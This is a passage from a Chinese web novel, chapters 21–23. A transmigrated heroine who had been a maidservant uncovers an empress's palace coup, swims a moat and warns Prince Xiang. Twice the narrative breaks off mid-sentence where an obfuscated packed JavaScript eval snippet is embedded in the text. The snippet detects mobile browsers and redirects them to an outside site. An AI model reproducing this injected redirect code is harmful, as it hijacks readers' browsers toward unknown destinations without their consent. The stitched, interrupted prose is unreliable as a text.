“世子,您别气了,气坏了身子不值当。” “别叫我世子,我不是世子,我说的话对你来说就是狗屁!” “不是狗屁,是圭臬。” 他重重了换了好几口气:“圭臬?那你今日的行为算什么?” “食君之禄,为君分忧。” “放屁!”李怀远背过身去,完全不想看见我:“谁让你分忧了,忧是你这么分的吗?沈今禾,你不要太自以为是!” “以为自己读了两天圣贤书,会两招三脚猫的功夫,就能上天入地、无所不能了?” 我忍不住用手指掏了掏左耳,李怀远在外面向来都是进退有度、不怒自威的,像今日这样直接化作炮仗噼里啪啦地响,我还真是是头一次见。 但炮仗总归是比冰封三尺的寒潭要好许多,我换了个姿势,双手搭在他的膝盖上,轻柔地按压着。 “世子教训的是,奴婢确实不该高估自己,更不该瞒着您。” 他转过身将我打量了一圈,嫌弃道:“都脱了奴籍了还奴什么婢,身上穿的什么破烂玩意,跟个小厮似的。” 我低头一看,这才回想起来,叶绥在寻芳阁让我换的衣服还没来得及换,就被李怀远逮住了。 不过这身衣服崭新崭新的,还是头一次穿,哪里像破烂了。 但我这会儿哪敢触李怀远的霉头,边帮他疏通腿部经络,边笑盈盈道:“就算是小厮,那也是您的小厮。” 烛台忽明忽暗,昏黄的光映在他脸上,那一抹愠怒终是淡了下去。 李怀远盯了会儿我手腕上划伤的小口子,语气软了下来:“怎么弄的?” “大约是想要翻窗出来时,焦急之中刮到了哪里。”其实他不说我压根都没注意到这个么小口子,已经不流血了,也不疼,就是红红的看着渗人而已。 他深邃的眉眼间拧起一道竖纹,也没说什么,而是径直下了榻,在柜里和案几的匣盒里来回翻找,须臾,手里拿着个白瓷瓶子走向桌案边,示意我过来。 看着他小心翼翼给我涂抹药膏的动作,我有些不自在,只能转移注意力。 “世子,那个账本我看见了。” 21.第 21 章 寻芳阁窗台里藏的那本册子,里面记录着皇后一党受贿、暗地交易、私设盐庄等一应情况,经过系统刚才的排查,已经将所有涉事官员的名单提取了出来。 羽睫微眨,李怀远手上的动作一顿,难得地在旁人面前泄了气:“原本我是该高兴的,可你如此行事,我又怎么都高兴不起来。” 我知道他还在气我急功冒进,拿整个世子府冒险,连忙道:“这是天大的喜事,您该高兴的。” 他放下手中的药膏,定定看着我,“你今日这事实在太出格了,我想我很长一段时间都没有办法冷静。” “崔金林那个人你当真了解吗?他身上留着崔应祁的血,干出来的那些事,不少比他那个当宰相的爹心狠手辣,一旦今日被他发现了,你以为你还能活着走出寻芳阁?” “要是能干脆地一死百了倒也好了,怕就怕他将你囚禁在什么地方,用那些腌臜的手段折磨,要是我一直找不见你,你……你怎么办!” 李怀远放在桌案上的手握成拳头,越说抖得越厉害,满眼都是后怕之色。 我不由一愣。原来他发了这么大的火,不是怕我坏事毁了大业,也不是气我忤逆上意私自行动,只是担心我会出事。 顿时一股暖流经过五脏六腑汇聚掌心,我下意识地握住他的手,温暖的手掌包裹着他冰凉的拳头,抬头看着他道: “您的意思我明白了,我答应您,以后如果遇到危险,一定毫不犹豫、马不停蹄第一个跑掉。怎么样?” 李怀远冷哼一声:“骗子。” “骗人是小狗。” 寒露渐重,内室烧着炭火十分暖和,小轩窗映进来的银白月光与窗边那一株梅花相得映彰。 由于我的左手上了药不便挪动,只能李怀远亲自取出枚端砚,铺上宣纸研了墨,将笔递到我手中。 看着笔搁上一排按长短依次排列整齐的湖笔,我忽然觉得,威势赫赫的世子有点强迫症好像还蛮可爱的。 他把案旁画着江心渔火的灯罩拿开,剪了烛心,放置我手边,有些不满道:“怎么看着倒像是你是主子,我是奴仆。” 我手一抖,一滴墨便掉在正在抄写的名单上,氤氲出一个黑点子。 系统把之前整理的文字调出,显示在屏幕上,闻言不高兴了:“什么主子奴仆,那他怎么不写,你来念,让他自己写。” 欲哭无泪,这我哪敢啊。 “抖什么,字都歪到大街上去了。”李怀远抱臂道。说罢站在我身后,宽厚的右手抚上我握笔的手,一笔一划地描在我写过的字迹上。 醉人的雪松香似有似无,屋内香炭充裕,烤得我双颊通红,心头像是被荡漾在春风里的柳条拂过,痒痒的,说不上是什么滋味。 一张名单写完,后背竟不知觉地已被细汗濡湿,细一想,他刚才扶着我的笔头也就只默了四个字而已,可回过神一看,描摹的四个似乎意有所指,竟然是:武、目、淮、渊。 吾慕怀远……也忒不要脸了吧! 眼一晕,我抚了抚砰砰直跳的心脏看向窗外,而那个罪魁祸已然穿戴整齐上早朝去了。 …… 时间转眼就来到了腊八,这日午后,荷华带着我正准备出门采买日常用度。 她近日不管做什么都要拉上我,仿佛生怕静文公主突然就想起还有我这么个人,前来找我的麻烦。 冬日里的阳光暖融融的,就像荷华这个人,虽不热烈,但总是万分宜人。她一身青珀色素衣走在光里,长身玉立,不爱嬉笑却叫人无比心安。 “你有没有想过参加科考,入朝为官?”我说道。虽说在世子府做个管事官也算了不得了,比有的低品阶官员俸禄都高,但我总觉得她干这个有些屈才。 也不知她是认真的还是打趣,转身笑着朝我说:“官场险恶,我志不在此。反倒是你,才学志向皆远高于我,如今也脱了奴籍了,你怎么不考个功名挣个官来?” 晖晖冬日,光影洒下一片,我心一跳,笑笑不语。心道,科考这辈子是不可能了,一旦生平入了案卷,那个身份再叫人查出来,那可真就是诛九族的罪过了。 正想着,后门外面传来一阵吵闹声。 不用看,单是听那嚣张跋扈、咄咄逼人的语气,就知道是安乐无疑了。荷华面色一僵,拉着我的胳膊不由得就停下了脚步,我想她大约是记起了那顿鞭笞。 隔着一道院墙,只听安乐怒气冲天地嚷道:“你们算个什么东西,不过就是世子府的一条狗,也敢拦住本公主的去路!有本事叫我表兄出来。” 几个侍卫端端正正地站着,任她怎么撒泼辱骂也无动于衷,甚至连眼睛都没眨一下。 “又来找静文公主?”荷华压低了声音道:“她倒是挺执着。” 安乐也真是天真,不动脑子想想,静文既放着偌大的宫殿不住而住进世子府,就足以说明她已经站在了相王和李怀远的阵营里,自然是与皇后势不两立,又怎么可能会见她。 我正要说话,谁知顺着门缝无意一瞥,突然看见街角蹿出来几个宫卫,双手抱拳朝安乐说了句“得罪了”,接着不等她反应,径直就将其绑起来上了马车,一扬马鞭扬长而去。 这些人举步生风,动作几乎是在一瞬间完成的,快到我还没反应上来发生了什么,他们就已经连人带车地消失了。 荷华冲出门惊呼一声:“天子脚下,何人敢绑公主?”几个禁军侍卫也是面面相觑,不明白究竟是怎么一回事。 “敢在世子府门口绑她的,除了皇后,还能有谁?”那几人功夫上乘,动作行云流水,再结合脖子上的标志,无疑当属皇后的亲卫。 只是皇后有什么话不能慢慢说,为什么非要用上最粗暴的法子?难道是嫌安乐整日流连于世子府太丢人了不成? 说实话是挺丢人的,可就算好言相劝无果,也不至于直接就将人五花大绑地带走吧?不得不说,皇后这教育方式还挺特别。 等等,不对劲,这一幕我是不是前几天在哪儿见过…… “对了!”我扶住门栓的手一滞,倒吸一口凉气,荷华见我一会儿的功夫就变了好几种脸色,连忙道:“怎么了?是箭伤复发了吗?” 我摇摇头。 猛地反应上来,对了,是崔相!崔相那日夜里也是如此对崔金林的。所以到底是什么原因,让他们不惜动粗也要将嫡子嫡女掳回府去? 先不论崔金林,单说安乐,她身份何其尊贵,往日里纵使犯了天大的错,帝后也未曾责罚过她,更别提在大街上被人捆着带走,这简直比施刑还要侮辱她。 皇后这么多年虽不太管她,但也不至于突然想不开准备严加管教了吧,是不是出了什么事情…… 我猝然想起先生传给我的那张暗示宫变的字条,当时我和李怀远都只是猜到腊月,却怎么也没想到会是腊八?毕竟现在连上旬都没过完。 上旬……蓦地想起那晚在寻芳阁,崔相下令将崔金林幽禁半月,如果他们打算在中旬或下旬动手,不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290397|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只将这个惯会惹事的儿子关上半月。 那也就是说,事发之日……就在近一两天了! 这时,正巧陵光巡务回府,我一把抓住他的胳膊,指着崇德大街的方向,有些心神不宁。 “有个事恐怕要劳烦你跑一趟了,方才安乐公主的马车沿着这条路走了,我察觉有些不对劲,你跟上去瞧瞧,看马车是回了公主府还是进宫去了?” 如果皇后真把她抓进宫去,那就不单单是不愿再让她和静文产生任何瓜葛这么简单,恐怕是大事将至,将她放在宫里才能确保她的周全。 因为一旦起事,憎恶安乐的人何其多,外面对她来说已然不太平了。 陵光虽然平日里总怕我觊觎他的位置,对我爱答不理的,但见我神情如此严肃,一刻也没耽搁,提了剑就跟上去了。 我定了定神,正想着要不要给李怀远报个信,突然一声惊雷响彻天空。 过路的行人纷纷驻足,你一言我一语地嘀咕了起来:“怪事,怎么隆冬天里打雷啊?” “就是,这大晴天的。” “哎呦哪里是打雷,是城外什么地方爆炸了吧。” 我和荷华对视了一眼,接着一前一后地爬上了府邸一处较高的楼台,只见城南外几十里处浓烟滚滚,一股接一股地黑浪往外冒。 荷华道:“京淄三十里……是秣临县。” “该县有什么特别之处吗?” “没有吧,就是背靠槐山,地势比较高。” 街上一时间吵吵嚷嚷个不停,原本就比平日热闹几分的腊八节,因一声“惊雷”霎时变得更加热闹了。 众人议论纷纷,都在猜测究竟发生了什么,有人说是天降灾祸,也有人说是秣临县边境的槐山矿场给炸了。 “该不会是在举行什么习俗吧?” 荷华摇头:“听声音像是炸山石,我家祖上是王府专供的采石匠,幼时我就住在山脚下,对这个声音十分熟悉。” “可火药禁止私人贩卖,炸山石一般都是官府组织的,怎么没见张贴告示?”以前这种事情都会提前在城门口贴上告示,以防有百姓进山被误伤。 先是安乐,后是巨响,种种迹象都让我有些焦躁不安,总觉得要发生什么事似的,心浮在半空中难以下落。 约莫过了一个多时辰,陵光急匆匆地赶了回来。想来是跑了不少路,端起一壶茶一饮而尽,这才说道: “公主的马车顺着崇德大街向皇宫而去,直直地进了望仙门,我在外面还候了两刻,没见有什么人出来。” 接着又道:“哦对了,我转身往坊间走时,远远看见丹凤门中门大开,相王带着一队人马神色匆匆出了南城门,往秣临县的方向去了。” 望仙门离皇后的寝殿凤栖宫最近,看来我猜的不错,应该是皇后把安乐接进宫,不准她再出来瞎闹腾。 而相王能从丹凤门出,定然是领了皇命出来办御差的,可陛下分明已病入膏肓,不可能这么短时间内就做出决断。 那还能是领谁的命? 皇后。 爆炸声……调虎离山! 我忽然意识到什么不对,骤然回过神来,立即提了裙摆就往书房里跑。 陵光一头雾水,跟着我进了书房:“你脸色怎么这么难看,发生什么事了?” 我边从一处暗匣里取出一块令牌别在腰间,边匆忙对陵光道:“我得进宫一趟,要是街上有厮杀声传来,切记关闭中门及后院各门,顾看好府里。” 22.第 22 章 说着匆忙换了身衣服,出了后门,疾色往皇宫的方向走去。 这块令牌是前日李怀远秘密交给我的,就在我们俩的惯用接头点,也就是他那屋的榻上。 上刻鱼符,见此令犹如见南衙神策卫统领,进得了宫,查得了官员私邸。当时他神情极为严肃,对着我道: “你向来机敏,我这几日要进宫侍疾,府里的事还得劳烦你照看着。要是出了什么事,记住第一时间拿着令牌进宫来找我。” 他这话说的奇怪,我又不是他的谁,何幸得他以一府相托,再看当时所处之地,又是红被又是床榻的,真是让人脸红又别扭。 当时只顾着尴尬,问也没问就一把接了下来,心想再怎么也不至于到那般地步,谁知短短几日,令牌还没捂热乎呢,就已经派上用场了。 此间凶险来不及思索,等我反应过来的时候,人已经拿着令牌进了宫门。 夜幕低垂,有人手起刀落,不动声色地杀死了几个禁军侍卫,占据了离皇帝休养的蓬莱殿最近的宫门。 我绕过他们的视线,从偏殿外一处狗洞钻进了太液池旁的小道。 皇宫待了十几年,我对这里的每一处生僻小路都很熟悉,没多久就在高大花木的遮掩下,悄无声息翻过了蓬莱殿的后墙。 墙外菊园里人声喧闹,众嫔妃及王公命妇、公主们好不热闹,借着腊日节喜气洋洋地听曲品茶,全然不知皇后的刀鞘已经对准了他们。 与此相反,蓬莱殿里一片清冷肃寂。 我蹲在槛窗外虚虚瞄了一眼,果见一道熟悉的身影身穿禁军铠甲,在殿前抱剑候着。而明黄色的龙榻上,陛下还在闭眼昏睡。 “叩叩叩”窗棂响了三声,随后一把剑鞘抵了出来。 李怀远拉开槛窗,看见我先是一惊,随即一把将我拽进金丝锦绣屏风后,悄声问:“无人通传,你是怎么进来的?” 稳了稳心神,我已来不及过多解释,连忙道:“先不说这个,相王因城南外的巨响被皇后支出去探查了,应该是使的调虎离山之计,他刚出城没多久,南城门便关上了。” “还有安乐,今日又照例去府上闹,皇后的亲卫直接抓了她绑回凤栖宫,可想要不是皇后懿旨,此等杀头的罪过他们肯定是不敢担的。” “还有那份官员名单上的武将府邸,但凡方才顺路的我都仔细留意了,除了前日向您倒戈的那两个都卫,今日无一例外全部中门紧闭,门口皆无人值守。” “几个宫门口值守的禁军也被杀了。” 李怀远神色一凛,眸光倏地阴沉了下来,一把抓起剑穗,仿佛要将它捻成粉末,冷冷道:“皇后怕是受谁的挑唆,要在今日动手了,蠢货。” 腊日是除岁之前最后一个需入宫拜谒的佳节,王公命妇们但凡在上京的,此刻应无一例外都聚在菊园里。 皇后选在这个时候,无疑是要借软禁家眷捏住世家咽喉,彼时各大世家重臣即使不助她成事,大多也会隔岸观火,不会轻举妄动。 她想打陛下一个措手不及,却不知自己也是根基未稳之时,尚用之人鱼龙混杂、良莠不齐,实心实意的除了崔相,其他多的是见风使舵的老油头。 “她这一举也算背水一战,定然是要使全力的。”我担忧道:“您想好怎么应对了吗?” “那就要看她想要什么?” 话音刚落,就听“砰”地一声,一个暗卫从槛窗摔了进来,像是受了极重的伤,纵使是墨色的衣襟,也能看得出被血染红了大半。 只听他断断续续道:“世、世子……临坊的一座宫殿全部被浇了油,属下要、要禀报的时候被一群高手围住难以脱身,这才耽搁了时辰……” “临坊?你是说广德门最高的那座殿宇?” “正是。” 我一怔,瞬间明白了过来,顿时一股凉意从脚底蹿进身体。 李怀远稍一思忖,显然是也明白了我为何有此一问。 那座宫殿高高耸立在宫墙一脚,一旦被烧,火势燃起来将一发不可收拾,浓烟烈火直飞冲天,整个上京城恐怕无人不知,不处不晓。 更重要的是,皇后故意引相王去秣临县,该县地势比上京要高,只怕他看到的要比城内更加清楚、更加惊心动魄了。 当他看到熊熊大火又会作何感想?除了猜到是皇后发动宫变,恐怕没有第二条路可叫他相信的了。 显然李怀远和我想在了一处,两人互看一眼,皆从对方的眼中瞥见了一丝慌张。 方才他说要看皇后究竟想要什么,诚然,如果是威逼陛下退位,再求一道圣旨另立傀儡宗世子即位,她为太后垂帘听政,那就是关起宫门收买禁军和宫人的事,犯不着牵扯武将。 然则此举不可能行得通,先不说李怀远那支神策卫时刻都在各殿守卫,绝不会任她摆布,就是陛下的龙武军亲卫这一道她也过不去。 想在皇宫孤立帝王再行胁迫之事,难度无异于登天。 除非将事情闹大,大到她可以顺理成章地“清君侧”,那时候再趁乱让武将入宫,到时候就算皇帝死于非命,那也与她无关,她的人最多算是救驾来迟。 既如此,她要清的,除了相王又能是谁? 相王的驻军就在京淄以南的淮水北岸,从秣临县回来的必经之地上,他集结军队入京救驾,简直顺手得不能再顺手了。 如此一来,就正正着了皇后的道了。 “南城门是皇后的人,此刻城门已关,倘若相王兵临城下,是救驾还是谋逆可就全凭皇后一张嘴了。” 就如同当日的故太子。 不管是那些首鼠两端的北衙南衙,还是忠于陛下的龙武军,但凡被皇后挑唆,心生疑虑与相王兵戈相见,彼时相王不是谋逆都得被扣上谋逆的罪名了。 这就要看是谁先沉得住气,倘若相王先攻城门,那就是相王有异心,可若皇后先动手,那就是她自己狼子野心了。 人心微妙,这场计谋设得更是微妙。 “倒是有点本事。”李怀远眸子一暗,随即招来门口的侍卫,“火速集结神策卫,全部暗中转至蓬莱殿四周。” 玉玺还在陛下手上,皇后想求个名正言顺,就断然不会明着抢,她要把这趟水给搅混了,只待相王的人一攻城门,谋逆之罪便坐实了,那时再派出不明真相的禁军与龙武军出去与相王斡旋。 到时候宫中防御弱化,她的人马进了宫,还怕拿不下蓬莱殿掌控不住陛下? 想到此处,我几乎没有半刻犹豫,上前一把抓住李怀远的袖子,跪地请示。 “世子,请给我信物,我立即出城禀报相王。” 皇宫几乎所有出口估计都换上了皇后的人,神策卫出不去,宫里的暗卫也被盯上不便行动,李怀远得在这里随机应变,只有我才是最合适报信的人选。 “不行,太危险了。”他面色不虞,声线极其不稳:“你这会儿出宫回府也不安全,干脆在旁边的废殿里躲着,那处不会有人注意,待事情……” “世子!”我急急地看向他,他那么聪明,怎么会不知道此时最快最佳的安排就是让我去送信。 “我知道后宫偏殿有一处狗洞,直通宣德门外,出去就是北城门口,皇后的眼睛此时都盯着城南,北面天险,她想不到有人会从北城门出去再绕道南边。” 李怀远气急:“你也知道北面天险?北城外是两丈深的护城河,悬索不放,难道你要游过去不成!” 我定定地望向他,点头道:“我正有此意。” “疯子!”他一手撑在玉案,一手扶额,怒气中夹杂着一股浓烈的苦涩:“谁家为奴为婢用做到你这个份上。” 我这才知道他误会了,以为我是逞强美救英雄,但我也实在不好说什么,只硬着头皮道: “此举不光为了世子,赤心报国,舍生就义,生来就不是男子独有的,如有可能,我也想做这世间顶天立地的好女郎。” 他还要说什么,忽然有个小公公跌跌撞撞地闯进来。 “大人,不好了,不好了,菊园的朝臣家眷和公主们全被、被押解到凤栖宫了。” 我没再管李怀远说什么,趁着他转身的间隙,用力一拽他腰间那枚祖传的玉珏,利落地从后窗翻了出去。 菊园的欢声笑语不再,只远远听得几声恐惧的叫喊,出皇宫对我倒不是难事,难的是冬日如何渡河。 此时黄昏垂暮,万道霞光扑面而来,映在身上却没有丝毫暖意,惟余寒风凛冽,犹如刀割。 酉时未过,离宵禁还有些时候,北城门口除了步履匆匆的贩夫走卒,已然没有其他人影了。 今日当值的守城将领不知是谁,我自然不敢拿着李怀远的令牌去寻他,再说北城门的悬索除非大军开拔或是班师回朝,平日从来不放,别说令牌,就是李怀远亲自来了,守城将领也不会贸然放下悬索桥。 我叫酒馆的店小二打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301063|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一壶热酒,揣在怀里往城门外面走。 出了城门,扶着城墙边的柳树干往深处走了些,半旬不落雪,此处河面不算宽阔,我丈量了片刻,心想应该不成问题。 直到此刻,系统才终于反应上来,我方才说游护城河不是开玩笑的。 “李怀远还真是没说错,疯了,你是真的疯了。”它一屁股惊坐在地上,尽管它并没有屁股,只是个卡通脑袋形状的屏幕,但我仍能看出来,这是一年来,它所受惊吓中最惊的一次。 我只觉得跟着我它的心脏病迟早要被吓出来,于是尽力宽慰:“护城河下有泉眼,冬天的河水气温不低,可比岸上刺骨的寒风暖和多了。” 系统翻了个白眼:“你当我是傻子啊。” 我笑着摆了摆手,绑紧袖口和脚口的束带,还好出世子府时换了小厮的衣裳,果然要比着女装方便许多。 系统盯着我挽了发髻,戴上长脚罗幞头,瞬间眼睛睁得比铜铃还大,急得在我耳边叫嚷:“你来真的!你、你会游泳吗?我可警告你,你要是死在了书里就永远都回不去了!” 我仰头朝它灿然一笑:“十八年了都没死成,眼见天要亮了,又怎么舍得去死。” 说罢一个猛子扎进水里向对岸游去。 温凉的河水迅速将我的躯体包裹起来,那段不堪回首的记忆仿佛海水倒灌,一股脑地往脑海里冲去。 那是我六岁的时候,生我那女人带着我来上京投奔有钱的皇商。 皇商有个十二三岁的痞儿,不学无术却以玩弄下人为乐。隆冬天里命我到湖里抓水蛇,那湖水结了厚厚的冰,他便拽着我的脑袋往冰上磕,直到撞出个水窟,头皮磕破鲜血直流,那狗东西才会拍手叫停,连连称好,说我头上这一片嫣红,为素淡的冬日增添了不少艳丽。 真特么有病! 我在那般恶劣的环境下苟活于世,学会了在水下憋气和游泳,故而如今这条宽敞又温和的河流,实在对我构成不了什么威胁。 “阿嚏!”话说早了…… 甫一上岸,被寒冬腊月的劲风一吹,任谁体魄再强壮,也得咬着牙关打几个哆嗦。我利落地扭干身上的水,扔了缚头的头巾,掏出怀里的酒喝下两口暖了暖身子,一刻也不敢停留,沿着河边疾色往东跑去。 系统飞在我头顶,吃惊得有些结巴:“你竟然真会游泳?!主、主角光环吗?” 它虽然一来就读取了我的记忆,但总归是有些陈年旧事不曾注意过。 此时华灯初上,时间紧迫,我一口气跑出了几里地,而系统的话始终萦绕在我心头。 主角光环?哪里来的光环?十八年孤身前来,步步为营,这当中哪一步不是我自己拼出来的? 我承认,过去的苦难逼迫我学会了很多东西,但苦难就是苦难,苦难不值得嘉奖,所以我选择闭口不言,终究没有告诉系统这游泳是怎么学会的。 系统飞上高空四下巡视了一番,霎时喜上眉梢,赶忙落在我肩头道:“前面林子尽头有个驿馆,里面有马厩!” 我难得笑出声道:“我选这条路跑,自然知道前面有马可贩。” 须臾,顺利地买了匹快马,我挽起缰绳扬鞭一挥,只听棕马一声长嘶,呼啸着疾驰而去。 见我御马娴熟,系统恍然大悟:“那日送完三皇子回城,原来你在骗李怀远啊!” 我想起那句“奴婢马术不济”,不在意地点了点头:“不骗他难道要说是我让着他吗?” “我劝你还是悠着点,骗了人家太多次,小心以后被报复。” 骏马如风飒沓而过,只听见一阵哒哒地马蹄声淹没在飞扬的尘土中。 “报复”二字令我心头一颤,旋即又想,此事若能成,我向相王求个翰林院的官职,想必不是什么难事。到时候搬离世子府,鲜少同李怀远来往,慢慢地关系也就远了,他总不至于闲来没事再找人查查我,看看我是不是真的爱慕过他吧。 正想着,忽见一队人马迎面而来,打头的人三十岁左右,即便是暗夜里,也能感觉到此人贵气横生,器宇轩昂,似有一种天生的压迫感。 借着火把的微光看清来人后,我简直如蒙大赦,赶紧跳下马噗通跪倒在地。 “相王!世子托小人给您传话。”边说边将李怀远的玉珏举过头顶。 其中一个侍卫翻身下马,取过玉珏拿给相王,他拿在手里端详片刻,神情一松,淡淡道:“何事?” 23.第 23 章 我急忙将皇宫里的事和盘托出。 仿佛是为了验证我的话,只见话音未落,相王的一名近侍突然指着皇宫的方向道:“王爷,您看!” 如我所言,那座高耸的殿宇几乎在一瞬间就燃至顶层屋檐,火光冲天,照亮了大半个上京城。 此时相王已从秣临县探查完毕返程,快走到淮水一带,他的驻军就在前方。 皇后真是算的好准…… 相王沉着脸思索片刻,而后一夹马腹,边扬鞭边朝身边的一个侍卫道: “拿本王手令,你同郑将军于三刻之后带右翼军,沿官道往城南方向去,到了城楼下只管说是接陛下口谕进城,守城将领若不放行,断不可起冲突,候在城墙下即可。” 这应当是要造成上当的假象,想先稳住皇后,以免她轻举妄动。 又听他朝另一人道:“即刻前往大营集结左翼军和中翼军,绕道北城门护城河外,本王先走一步开路。” 兵分两路,我跟着相王一行人往北边走。行至方才林子口的驿馆时,被门口的灯笼一晃,相王突然转头看向我。 打量了片刻才道:“你是怀远身边的那个丫头?” 虽然不知他为何莫名其妙地问起这个,我还是毫不犹豫地点了头。 相王松了口气,笑道:“难怪眼熟,你穿着小厮的衣裳本王差点没认出来。”说罢一勒缰绳,抬手让侍卫雇了辆马车,又问驿仆要了身干净的衣裳。 我坐在马车里快速地更换衣物,系统在一边嘀嘀咕咕:“相王怎么凭白对一个下人这么好?难道是看上你了?” 我懒得搭理它,手脚并用地换下黏在身上湿哒哒的衣物,任他是谁,管他什么目的,我只知道冰天寒地里穿着能掐出水的湿衣简直要人命,头疼欲裂,骨头像是被针扎了一般。 马车飞快地往北跑,震得我有些眼晕,这时外面传来一声爽朗的笑声:“你这小姑娘,能吃苦,有大义,也够幸运。” 我心道,这都什么时候了,还有心思评价别人幸运不幸运!就算是泰山崩于前而面不改色也不用这么具象化吧…… 又一想,自己穿进这本破书里受了十八年的磨难,究竟算哪门子的幸运。 相王接着道:“凌安王与王妃皆非俗人,自然不会因你身份而为难你,此事一毕,你也算是苦尽甘来了。” 凌安王?什么意思? 酒壶里的酒有些凉了,但我还是灌了几口,此刻一听这话,只觉得自己大概是醉了,否则他说的话我怎么听得云里雾里的。 系统却一副“懂了懂了”的模样,看着我小声道:“哈哈,是不是李怀远想娶你啦?怎么这事儿相王都知道了。” “噗!”一口酒没咽下去,吐了一屏幕,吓得我赶紧拿袖子擦拭,生怕这烈酒把系统的脑子烧坏了。 方才换了件干净保暖的丝绵複衣,又饮了酒,连着跑了几里路,此时靠在软茵厚垫的车壁上只觉得眼皮打架,昏昏欲睡。 想着想着,还真就这么睡着了,尽管一路颠簸,但我这一觉却约莫睡了有多半个时辰。 醒来时,只觉得眼晕脑胀,分不清东南西北。 约莫过了半刻,思绪才渐渐回笼。突然意识到这短短半日发生了什么的时候,我猛地一骨碌拾起身来,“咚”一下撞在车壁上。 马车外似乎有人听到响动,拱手问道:“姑娘可是醒了?” 我掀开帘子一看,原来是已经到了宣德门外,眼前这些军卫并不是方才跟随在相王身边的那几个,我不敢贸然出声询问。 只轻轻地“嗯”了一声。 隔着宫墙远远望去,数仗高的火光照亮了整个皇宫,那座高大的殿宇被烧得连檐角瓦片都看不清了,只听数道兵戈碰撞声齐发,宫内杀声四起。 关于里面是何时刀兵相见的,相王和左中翼军又是如何渡的护城河,此时又都去了哪里,这些事,都让我一头雾水。 一个校尉正在巷子里来回踱步,显然是无聊到了极致,似乎看出了我满脸写着疑惑,忙不迭走到车辕跟前,主动开口解释。 “王爷半个时辰前已携大军进宫救驾了,命我等在此护卫姑娘,姑娘放心,此处十分隐秘,绝对不会有性命之忧。” 我松了口气,这才细细打量起周遭环境,这是宣德门外的一处深巷,看样子是废弃了的染坊旧址,离中心坊市较远,鲜有人烟,确实是个藏匿的好地方。 “校尉大哥怎么称呼?”我问。 那人一摸后脑勺,心直口快憨笑道:“我啊?周广郎,你叫我周大哥就行。” 军中人素来没那么多讲究,周广郎在路边找了块石头搬到马车跟前,一屁股坐在上面,又掏出腰间别着的酒袋仰头喝了几口驱寒。 听着远处惊心动魄的厮杀声,我心绪一动,下意识问道:“周大哥可知凌安王世子如何了?” 他动作一顿,实话道:“我等随王爷到达北城门时,里面就已经动起手来了,具体是什么情况就不得而知了。” 已经动起手了? 会不会是皇后察觉到相王没有上钩,干脆一不做二不休,直接令人杀进蓬莱殿了? 自古成王败寇,她既然不能用阴谋让相王背负谋逆的罪名,那就明着来,将其赶尽杀绝,天下重生,只要真正掌了权,到时候还不是她说什么,真相就是什么。 指鹿为马,以黑为白,自古在朝堂上就不是什么稀奇事。 那她又是几时开始逼宫的? 从我酉时离开到相王入宫救驾,这当中足足四五个时辰的时间,面对皇后一党的怀化军和忠武军,神策卫双拳难敌四手,相王不到,李怀远又能扛得了多久? 耳边一阵嗡鸣,强烈的不安涌上心头,我此时没有精力去分想自己为何会如此担忧李怀远,只满心盼着神佛能庇佑他不要出事才好。 见我唇角止不住有些发抖,周广郎忙安慰道:“嗐,世子剑法出神,威武过人,肯定不会有什么事的。” “再说他打不过还能跑不过吗?左右两条腿长在他自己身上,是不是?” 说完我们俩都沉默了,他的腿是长在自己身上没错,但有忠义二字,一字一条腿地将他拖着,他又能跑到哪里去。 我一不会带兵二不会用刀,这个关口也确实帮不上什么忙,只能干坐在此处,尽力地稳住心神,让自己不要太过慌乱。 于是想了想别的事,微微欠身道:“周大哥可否告知,方才我们是如何进的北城门?” 隔着一条护城河,泱泱大军总不能是飞进来的吧。 “这个嘛。”提起此事,周广郎眼神一亮,满心满眼都是崇敬之色:“自然是靠我们王爷运筹帷幄,手眼通天,料定那守城将领不是皇后的人,趁其摇摆不定,便软硬兼施,成功说服他降下了悬索桥。” “……”口才这么好合该去说书。 又他神神秘秘道:“姑娘,偷偷告诉你,我们王爷是开过天眼的,所以才有那洞察人心的本领,否则他如何一听那将领的名字,就立即断定此人还未被皇后收买……哦对了,此事你千万不要往外说。” “……”开天眼个鬼啊,你们王爷手上拿着一份皇后党的官员名单,连同我抄写的行贿账册李怀远一并交给他了,谁敌谁友,谁是墙头草,他自然了然于胸了。 周广郎见我一点没有捧场的意思,只当是我不信,于是为了印证自己的结论,开始不停地寻找论据。 一会儿讲到相王领兵大杀四方,平叛西北四诸侯国,一会儿又讲他是如何巧然化解前堂尔虞我诈,甚至讲到了王府众妾室的侍寝安排有多合理。 再讲下去,我真是生怕自己听到什么不该听的,于是连忙制止。不过被他这么一打岔,我心情倒是放松了不少,等待也就显得不那么难捱。 过了不知多久,忽然从宣德门快速闪出个身影,一人一马直冲冲朝我们的方向奔来。 周广郎脸色一变,“噌”地站直了身子,边从剑鞘拔剑边给其他几人递眼色,其余人朝他点点头,迅速在附近埋伏起来。 我躲在马车里连呼吸声都放慢了几拍,只听得马蹄声越来越近,又听得“哎呀”一声,有人一拍大腿,随即将利剑插回鞘中。 “魏小儿,是你啊!”周广郎闻言大笑两声,又转身朝马车方向道:“姑娘莫怕,是自己人。” 那名姓魏的军中士兵拱了拱手,“周校尉,传王爷传口谕,城南及京街各处叛军已除,你先护送沈姑娘回世子府 